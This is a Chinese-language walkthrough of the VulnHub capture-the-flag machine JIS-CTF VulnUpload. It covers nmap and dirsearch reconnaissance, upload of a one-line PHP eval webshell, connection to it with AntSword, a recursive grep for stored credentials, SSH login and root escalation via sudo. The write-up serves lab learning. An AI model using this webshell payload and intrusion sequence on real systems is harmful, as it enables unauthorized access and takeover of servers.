JIS-CTF_VulnUpload
靶机地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/
1 主机探测
1.1 IP 探测
C:\Users\Yongz\nmap# nmap -sn 192.168.146.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-25 11:08 中国标准时间
Nmap scan report for 192.168.146.147
Host is up (0.00025s latency).
MAC Address: 00:0C:29:D3:73:91 (VMware)
Nmap scan report for 192.168.146.254
Host is up (0.00s latency).
MAC Address: 00:50:56:E0:72:82 (VMware)
Nmap scan report for 192.168.146.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 21.93 seconds
判断出 192.168.146.147 为靶机 IP 地址。
1.2 服务探测
C:\Users\Yongz\nmap# nmap -sS -sV 192.168.146.147
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-25 11:10 中国标准时间
Nmap scan report for 192.168.146.147
Host is up (0.00067s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:D3:73:91 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
发现一个 SSH 服务与 HTTP 服务,个人习惯先对 HTTP 服务进行测试。
2 Web 渗透
2.1 信息收集
访问对方 HTTP 服务

看了下 HTML 源码,没啥有价值的信息;可以尝试一下爆破,但根据我写完的经验来看,爆不出来的。
2.2 目录扫描
我这使用 dirsearch 来进行,并将代理连接到 BurpSuite。
python3 dirsearch.py -e php --random-agent -i 200 --proxy=127.0.0.1:8080 -u "http://192.168.146.147/"

在 BurpSuite 上查看一下

在 flag 文件夹中找到第一个 flag。
The 1st flag is : {8734509128730458630012095}
在 admin_area 文件夹中找到第二个 flag,还有一个账号密码。
username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
2.3 文件上传
用上述账号密码来尝试 SSH 登录。
C:\Users\Yongz\dirsearch# ssh admin@192.168.146.147
The authenticity of host '192.168.146.147 (192.168.146.147)' can't be established.
ECDSA key fingerprint is SHA256:ThPvIGqyDX2PSqt5JWHyy/J/Hy2hK5aVcpKTpkTKHQE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.146.147' (ECDSA) to the list of known hosts.
admin@192.168.146.147's password:
Permission denied, please try again.
登不上,那就可以尝试去 Web 界面试试登录。

有文件上传点,尝试文件上传,上传一句话木马。
<?php eval($_POST['v'])?>
发现直接上传 php 文件并没有被拦截,但也没有文件上传位置回显。

回过头来,看下前面扫出来的 robots.txt 文件内容。
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
发现有两个文件上传目录,依次访问一下:
访问结果为:http://192.168.146.147/uploaded_files/shell.php,显示正常,使用蚁剑连接试试。

成功连接,翻看目录,找到两个文件

点击查看下发现,flag.txt 文件内容为空,hint.txt 内容为:
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
找到第三个 flag,并提示:尝试查找用户 technawi 的密码来读取 flag.txt 文件,你可以在一个隐藏的文件中找到它;)
注:这里的 flag.txt 并不是为空,而是没有权限访问,仔细查看权限可以发现为 640,不允许读、写、执行。
2.4 flag 查找
需要查看 technawi 有关的信息,在蚁剑上使用 grep 来查看文件内容:
grep -ri --exclude-dir=proc/ 'technawi' / 2>/dev/null 1>1.txt
这条命令的意思是:使用 grep 递归查找文件根目录下除 proc 目录(查找该目录会报错)文件内容中有包含 technawi 字符串(忽略大小写)的文件,并将标准输出保存到 1.txt,标准错误丢弃。

发现一个不正常的文件,查看一下,发现第四个 flag,和一个账号密码
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
这个账号密码应该是 SSH 的,尝试登录一下。
登录成功,接着查看前面没有权限的 flag 文件
The 5th flag is : {5473215946785213456975249}
Good job :)
You find 5 flags and got their points and finish the first scenario....
至此,5 个 flag 找齐。
3 SUDO 提权
这里可以直接修改 root 密码
sudo passwd root
technawi 的 home/ 目录中,看到 .sudo_as_admin_successful 文件,这说明 technawi 可以用自己的密码切换为 root 用户。
sudo su